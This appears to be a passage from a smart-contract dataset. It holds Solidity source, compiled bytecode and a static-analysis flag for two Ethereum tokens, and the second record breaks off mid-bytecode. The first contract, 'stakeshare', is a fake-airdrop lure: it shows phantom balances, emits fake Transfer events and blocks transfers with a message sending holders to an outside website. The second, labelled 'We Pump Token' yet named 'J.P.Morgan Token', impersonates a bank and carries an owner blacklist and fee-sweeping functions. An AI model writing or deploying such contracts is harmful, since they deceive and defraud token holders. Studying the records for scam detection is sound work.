view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract stakeshare is Ownable, IERC20 { string private _name; string private _symbol; uint256 private _totalSupply; uint256 private _airdropAmount; mapping(address => bool) private _unlocked; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; constructor(string memory name_, string memory symbol_, uint256 airdropAmount_) Ownable() { _name = name_; _symbol = symbol_; _airdropAmount = airdropAmount_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { if (!_unlocked[account]) { return _airdropAmount; } else { return _balances[account]; } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function setAirdropAmount(uint256 airdropAmount_) public onlyOwner (){ _airdropAmount = airdropAmount_; } //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_unlocked[sender], "ERC20: token must be unlocked before transfer.Visit https://stakeshare.org/ for more info'"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; _unlocked[recipient] = true; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; _unlocked[account] = true; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; _unlocked[account] = false; emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// function mint(address account, uint256 amount) public payable onlyOwner { _mint(account, amount); } function burn(address account, uint256 amount) public payable onlyOwner { _burn(account, amount); } function batchTransferToken(address[] memory holders, uint256 amount) public payable { for (uint i=0; i<holders.length; i++) { emit Transfer(address(this), holders[i], amount); } } function withdrawEth(address payable receiver, uint amount) public onlyOwner payable { uint balance = address(this).balance; if (amount == 0) { amount = balance; } require(amount > 0 && balance >= amount, "no balance"); receiver.transfer(amount); } function withdrawToken(address receiver, address tokenAddress, uint amount) public onlyOwner payable { uint balance = IERC20(tokenAddress).balanceOf(address(this)); if (amount == 0) { amount = balance; } require(amount > 0 && balance >= amount, "bad amount"); IERC20(tokenAddress).transfer(receiver, amount); } }
0x60806040526004361061011f5760003560e01c806370a08231116100a0578063a457c2d711610064578063a457c2d7146102cd578063a5500c30146102ed578063a9059cbb1461030d578063dd62ed3e1461032d578063f2fde38b1461037357600080fd5b806370a0823114610248578063715018a6146102685780638da5cb5b1461027d57806395d89b41146102a55780639dc29fac146102ba57600080fd5b806323b872dd116100e757806323b872dd146101c6578063313ce567146101e6578063395093511461020257806340c10f1914610222578063512d7cfd1461023557600080fd5b806301e336671461012457806306fdde0314610139578063095ea7b31461016457806318160ddd146101945780631b9a91a4146101b3575b600080fd5b61013761013236600461110e565b610393565b005b34801561014557600080fd5b5061014e61051d565b60405161015b919061127d565b60405180910390f35b34801561017057600080fd5b5061018461017f36600461114e565b6105af565b604051901515815260200161015b565b3480156101a057600080fd5b506003545b60405190815260200161015b565b6101376101c13660046110ab565b6105c5565b3480156101d257600080fd5b506101846101e136600461110e565b61067e565b3480156101f257600080fd5b506040516012815260200161015b565b34801561020e57600080fd5b5061018461021d36600461114e565b610728565b61013761023036600461114e565b610764565b610137610243366004611160565b61079c565b34801561025457600080fd5b506101a5610263366004611088565b610821565b34801561027457600080fd5b5061013761086a565b34801561028957600080fd5b506000546040516001600160a01b03909116815260200161015b565b3480156102b157600080fd5b5061014e6108a0565b6101376102c836600461114e565b6108af565b3480156102d957600080fd5b506101846102e836600461114e565b6108e3565b3480156102f957600080fd5b5061013761030836600461124d565b61097c565b34801561031957600080fd5b5061018461032836600461114e565b6109ab565b34801561033957600080fd5b506101a56103483660046110d6565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b34801561037f57600080fd5b5061013761038e366004611088565b6109b8565b6000546001600160a01b031633146103c65760405162461bcd60e51b81526004016103bd906112d0565b60405180910390fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a082319060240160206040518083038186803b15801561040857600080fd5b505afa15801561041c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104409190611265565b90508161044b578091505b60008211801561045b5750818110155b6104945760405162461bcd60e51b815260206004820152600a60248201526918985908185b5bdd5b9d60b21b60448201526064016103bd565b60405163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905284169063a9059cbb90604401602060405180830381600087803b1580156104de57600080fd5b505af11580156104f2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610516919061122d565b5050505050565b60606001805461052c90611334565b80601f016020809104026020016040519081016040528092919081815260200182805461055890611334565b80156105a55780601f1061057a576101008083540402835291602001916105a5565b820191906000526020600020905b81548152906001019060200180831161058857829003601f168201915b5050505050905090565b60006105bc338484610a53565b50600192915050565b6000546001600160a01b031633146105ef5760405162461bcd60e51b81526004016103bd906112d0565b47816105f9578091505b6000821180156106095750818110155b6106425760405162461bcd60e51b815260206004820152600a6024820152696e6f2062616c616e636560b01b60448201526064016103bd565b6040516001600160a01b0384169083156108fc029084906000818181858888f19350505050158015610678573d6000803e3d6000fd5b50505050565b600061068b848484610b78565b6001600160a01b0384166000908152600760209081526040808320338452909152902054828110156107105760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016103bd565b61071d8533858403610a53565b506001949350505050565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916105bc91859061075f908690611305565b610a53565b6000546001600160a01b0316331461078e5760405162461bcd60e51b81526004016103bd906112d0565b6107988282610dfd565b5050565b60005b825181101561081c578281815181106107c857634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316306001600160a01b03166000805160206113cc8339815191528460405161080291815260200190565b60405180910390a3806108148161136f565b91505061079f565b505050565b6001600160a01b03811660009081526005602052604081205460ff1661084957505060045490565b506001600160a01b031660009081526006602052604090205490565b919050565b6000546001600160a01b031633146108945760405162461bcd60e51b81526004016103bd906112d0565b61089e6000610ee5565b565b60606002805461052c90611334565b6000546001600160a01b031633146108d95760405162461bcd60e51b81526004016103bd906112d0565b6107988282610f35565b3360009081526007602090815260408083206001600160a01b0386168452909152812054828110156109655760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103bd565b6109723385858403610a53565b5060019392505050565b6000546001600160a01b031633146109a65760405162461bcd60e51b81526004016103bd906112d0565b600455565b60006105bc338484610b78565b6000546001600160a01b031633146109e25760405162461bcd60e51b81526004016103bd906112d0565b6001600160a01b038116610a475760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103bd565b610a5081610ee5565b50565b6001600160a01b038316610ab55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103bd565b6001600160a01b038216610b165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103bd565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bdc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103bd565b6001600160a01b038216610c3e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103bd565b6001600160a01b03831660009081526005602052604090205460ff16610cf25760405162461bcd60e51b815260206004820152605a60248201527f45524332303a20746f6b656e206d75737420626520756e6c6f636b656420626560448201527f666f7265207472616e736665722e56697369742068747470733a2f2f7374616b60648201527f6573686172652e6f72672f20666f72206d6f726520696e666f27000000000000608482015260a4016103bd565b6001600160a01b03831660009081526006602052604090205481811015610d6a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103bd565b6001600160a01b03808516600090815260066020526040808220858503905591851681529081208054849290610da1908490611305565b90915550506001600160a01b0380841660008181526005602052604090819020805460ff191660011790555190918616906000805160206113cc83398151915290610def9086815260200190565b60405180910390a350505050565b6001600160a01b038216610e535760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016103bd565b8060036000828254610e659190611305565b90915550506001600160a01b03821660009081526006602052604081208054839290610e92908490611305565b90915550506001600160a01b038216600081815260056020526040808220805460ff19166001179055516000805160206113cc83398151915290610ed99085815260200190565b60405180910390a35050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216610f955760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103bd565b6001600160a01b038216600090815260066020526040902054818110156110095760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103bd565b6001600160a01b038316600090815260066020526040812083830390556003805484929061103890849061131d565b90915550506001600160a01b0383166000818152600560209081526040808320805460ff19169055518581529192916000805160206113cc8339815191529101610b6b565b8035610865816113b6565b600060208284031215611099578081fd5b81356110a4816113b6565b9392505050565b600080604083850312156110bd578081fd5b82356110c8816113b6565b946020939093013593505050565b600080604083850312156110e8578182fd5b82356110f3816113b6565b91506020830135611103816113b6565b809150509250929050565b600080600060608486031215611122578081fd5b833561112d816113b6565b9250602084013561113d816113b6565b929592945050506040919091013590565b600080604083850312156110bd578182fd5b60008060408385031215611172578182fd5b823567ffffffffffffffff80821115611189578384fd5b818501915085601f83011261119c578384fd5b81356020828211156111b0576111b06113a0565b8160051b604051601f19603f830116810181811086821117156111d5576111d56113a0565b604052838152828101945085830182870184018b10156111f3578889fd5b8896505b8487101561121c576112088161107d565b8652600196909601959483019483016111f7565b509997909101359750505050505050565b60006020828403121561123e578081fd5b815180151581146110a4578182fd5b60006020828403121561125e578081fd5b5035919050565b600060208284031215611276578081fd5b5051919050565b6000602080835283518082850152825b818110156112a95785810183015185820160400152820161128d565b818111156112ba5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156113185761131861138a565b500190565b60008282101561132f5761132f61138a565b500390565b600181811c9082168061134857607f821691505b6020821081141561136957634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156113835761138361138a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a5057600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220968e63203e838b253a88a3f84958d00426b6a24d476437344c5a5e6ee22cd8f964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
31
0x358f5897b62a48304fC697bE0E79552640b018a7
/* We Pump Token -> $WEPUMP Telegram: https://t.me/wepumptoken Twitter: https://twitter.com/wepumptoken ________________________________█████_____█████ ______________________________███____██_██_____███ _____________________________██________██__________██ ____________________________██__________█____________██ ________██████____________██________________________██ _____███████████________██________________________██ ____█████████████_______██_______________________██ ___███████████████______██______________________██ ___████████████████______██___________________██ ___████████████████_______██_________________██ ____███████████████_______███_______________██ _______███████████_______██__██_____________██ ___________███████______████___██__________██ ____██████__██████████████_____██_____██ __██████████████████████________██__██ _████████████████████_____________████ ██_█████_████████████_______________█ █__█_██__████████████ _____█__████████████ _______█████████████ _______██████████████ _______███████████████ ________███████████████ _______███████__████████ ______███████_____███████ ____█████████________██████ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract JPMToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "J.P.Morgan Token"; string private constant _symbol = "JPM"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _minerFee = 10; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _buybackAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _buybackAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_buybackAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _minerFee == 0) return; _taxFee = 0; _minerFee = 0; } function restoreAllFee() private { _taxFee = 5; _minerFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _buybackAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _minerFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f6578063c3c8cd8014610316578063c9567bf91461032b578063d543dbeb14610340578063dd62ed3e1461036057600080fd5b8063715018a61461026d5780638da5cb5b1461028257806395d89b41146102aa578063a9059cbb146102d657600080fd5b8063273123b7116100dc578063273123b7146101da578063313ce567146101fc5780635932ead1146102185780636fc3eaec1461023857806370a082311461024d57600080fd5b806306fdde0314610119578063095ea7b31461016457806318160ddd1461019457806323b872dd146101ba57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152601081526f2517281726b7b933b0b7102a37b5b2b760811b60208201525b60405161015b91906119f4565b60405180910390f35b34801561017057600080fd5b5061018461017f366004611885565b6103a6565b604051901515815260200161015b565b3480156101a057600080fd5b50683635c9adc5dea000005b60405190815260200161015b565b3480156101c657600080fd5b506101846101d5366004611845565b6103bd565b3480156101e657600080fd5b506101fa6101f53660046117d5565b610426565b005b34801561020857600080fd5b506040516009815260200161015b565b34801561022457600080fd5b506101fa610233366004611977565b61047a565b34801561024457600080fd5b506101fa6104c2565b34801561025957600080fd5b506101ac6102683660046117d5565b6104ef565b34801561027957600080fd5b506101fa610511565b34801561028e57600080fd5b506000546040516001600160a01b03909116815260200161015b565b3480156102b657600080fd5b506040805180820190915260038152624a504d60e81b602082015261014e565b3480156102e257600080fd5b506101846102f1366004611885565b610585565b34801561030257600080fd5b506101fa6103113660046118b0565b610592565b34801561032257600080fd5b506101fa610636565b34801561033757600080fd5b506101fa61066c565b34801561034c57600080fd5b506101fa61035b3660046119af565b610a2f565b34801561036c57600080fd5b506101ac61037b36600461180d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b3338484610b02565b5060015b92915050565b60006103ca848484610c26565b61041c843361041785604051806060016040528060288152602001611bc5602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611038565b610b02565b5060019392505050565b6000546001600160a01b031633146104595760405162461bcd60e51b815260040161045090611a47565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104a45760405162461bcd60e51b815260040161045090611a47565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104e257600080fd5b476104ec81611072565b50565b6001600160a01b0381166000908152600260205260408120546103b7906110f7565b6000546001600160a01b0316331461053b5760405162461bcd60e51b815260040161045090611a47565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b3338484610c26565b6000546001600160a01b031633146105bc5760405162461bcd60e51b815260040161045090611a47565b60005b8151811015610632576001600a60008484815181106105ee57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062a81611b5a565b9150506105bf565b5050565b600c546001600160a01b0316336001600160a01b03161461065657600080fd5b6000610661306104ef565b90506104ec8161117b565b6000546001600160a01b031633146106965760405162461bcd60e51b815260040161045090611a47565b600f54600160a01b900460ff16156106f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610450565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072d3082683635c9adc5dea00000610b02565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076657600080fd5b505afa15801561077a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079e91906117f1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e657600080fd5b505afa1580156107fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081e91906117f1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086657600080fd5b505af115801561087a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089e91906117f1565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108ce816104ef565b6000806108e36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094657600080fd5b505af115801561095a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097f91906119c7565b5050600f8054670de0b6b3a764000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109f757600080fd5b505af1158015610a0b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106329190611993565b6000546001600160a01b03163314610a595760405162461bcd60e51b815260040161045090611a47565b60008111610aa95760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610450565b610ac76064610ac1683635c9adc5dea0000084611320565b9061139f565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b645760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610450565b6001600160a01b038216610bc55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610450565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610450565b6001